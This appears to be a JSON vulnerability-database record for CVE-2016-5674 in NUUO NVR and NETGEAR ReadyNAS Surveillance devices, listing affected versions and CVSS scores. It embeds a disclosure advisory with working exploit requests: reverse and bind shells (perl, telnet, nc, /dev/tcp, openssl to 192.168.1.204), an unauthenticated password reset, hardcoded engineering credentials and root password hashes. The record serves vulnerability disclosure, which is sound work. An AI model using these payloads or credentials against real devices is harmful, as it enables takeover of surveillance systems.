"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201608-0087",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3.1.20"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3.9.6"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.75"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.7.6"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.7.5"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3.7.10"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.3"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.1.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.4.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.2.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.4"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.2.0.4"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.1.5"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.1.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.14"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.7.9"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "netgear",
"version": null
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.5 to 3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.5 to 3.0.0"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "arm edition 1.1.1 to 1.4.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "x86 edition 1.1.1 to 1.4.1"
},
{
"model": "inc nvrmini",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "2"
},
{
"model": "inc netgear readynas surveillance",
"scope": null,
"trust": 0.6,
"vendor": "nuuo",
"version": null
},
{
"model": "inc nvrsolo",
"scope": null,
"trust": 0.6,
"vendor": "nuuo",
"version": null
},
{
"model": "inc crystal",
"scope": null,
"trust": 0.6,
"vendor": "nuuo",
"version": null
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.1"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
},
{
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:nuuo:nvrsolo",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:netgear:readynas_surveillance",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security.",
"sources": [
{
"db": "BID",
"id": "92318"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
}
],
"trust": 0.9
},
"cve": "CVE-2016-5674",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2016-5674",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2016-06368",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-94493",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2016-5674",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-5674",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2016-5674",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2016-06368",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201608-268",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-94493",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2016-5674",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "VULHUB",
"id": "VHN-94493"
},
{
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
},
{
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 and NVRsolo are network video recorders. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always.\"\n\"NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo\u0027s flexibility doesn\u0027t end there. For those needing more storage options, we offer 8 bay versions to meet your needs.\"\n\"NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience.\"\n\n\n\u003e\u003e Summary:\nNUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME\u0027s, etc. \n\nThe web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO\u0027s engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO\u0027s devices as root, and on NETGEAR as the admin user. \n\nAlthough only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. \n\nA special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5674\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):\n\nfunction print_file($file_fullpath_name)\n{\n $cmd = \"cat \" . $file_fullpath_name;\n echo $file_fullpath_name . \"\\n\\n\";\n system($cmd);\n}\n\n\u003c?php\n if (isset($_GET[\u0027log\u0027]) \u0026\u0026 !empty($_GET[\u0027log\u0027]))\n {\n $file_fullpath_name = constant(\u0027LOG_FILE_FOLDER\u0027) . \u0027/\u0027 . basename($_GET[\u0027log\u0027]);\n print_file($file_fullpath_name);\n }\n else\n {\n die(\"unknown command.\");\n }\n?\u003e\n\nThe file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:\n- ReadyNAS Surveillance:\nGET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+\u0027$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,\"192.168.1.204%3a9000\")%3bSTDIN-\u003efdopen($c,r)%3b$~-\u003efdopen($c,w)%3bsystem$_+while\u003c\u003e%3b\u0027\nThis will connect a shell back to 192.168.1.204 on port 9000, running as the \"admin\" user. \n\n- NVRmini 2 and NVRsolo:\nGET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 \nThis will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. \n\n\n#2\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5675\nAttack Vector: Remote\nConstraints: Requires an administrator account\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):\n else if ($act == \u0027update\u0027)\n {\n $cmd = sprintf(\"/usr/bin/ntpdate %s\", $_GET[\u0027NTPServer\u0027]);\n \n $find_str = \"time server\";\n \n $sys_msg = system($cmd);\n $pos = strpos($sys_msg, $find_str);\n\nThe file can only be accessed by an authenticted user. \n- ReadyNAS Surveillance:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3b+whoami+\u003e+/tmp/test\nThis will create a /tmp/test file with the contents of \"admin\" (current user). \n\n- NVRmini 2 and NVRsolo:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u003e%261|nc+192.168.1.204+9000+\u003e/tmp/f\nConnects a shell to 192.168.1.204, port 9000, running as root. \n\n- Crystal:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3bbash+-i+\u003e%26+/dev/tcp/192.168.1.204/4444+0\u003e%26\nConnects a shell to 192.168.1.204, port 4444, running as root. \n\n\n#3\nVulnerability: Administrator password reset\nCVE-2016-5676\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nOn older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. \n\nProof of concept:\nGET /cgi-bin/cgi_system?cmd=loaddefconfig\n\nThis will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. \n\n\n#4\nVulnerability: Information disclosure (system processes, available memory and filesystem status)\nCVE-2016-5677\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:\nPOST /__nvr_status___.php HTTP/1.1\nusername=nuuoeng\u0026password=qwe23622260\u0026submit=Submit\n\n\n#5 \nVulnerability: Harcoded root password \nCVE-2016-5678\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 \n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n\nThe NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. \n\nNVRmini 2:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::\n\nNVRsolo:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::\n\n \n#6 \nVulnerability: Command injection in cgi_main transfer license command\nCVE-2016-5679\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe transfer_license command has a command injection vulnerability in the \"sn\" parameter:\ncgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\";\u003ccommand\u003e;#\n\nSample exploit for NVRmini2 (open bind shell on port 4444):\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23\n\nNETGEAR Surveillance doesn\u0027t have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bmkfifo+/tmp/s%3b+/bin/bash+-i+\u003c+/tmp/s+2\u003e%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+\u003e+/tmp/s%3b+rm+/tmp/s%3b%23\n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n \n \n#7 \nVulnerability: Stack buffer overflow in cgi_main transfer license command\nCVE-2016-5680\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe \"sn\" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the \"sn\" parameter is copied directly into a string with a fixed length of 128 characters. \n\nFunction 0x20BC9C (NVRmini2 firmware v3.0.0):\n method = getval(\"method\");\n sn = getval(\"sn\");\n (...)\n memset(\u0026command, 0, 128);\n sprintf(\u0026command, \"logger -p local0.info -t \u0027system\u0027 \\\"Activate license: %s\\\"\", sn);\n system(\u0026command);\n\n\u003e For example if the following request is performed:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa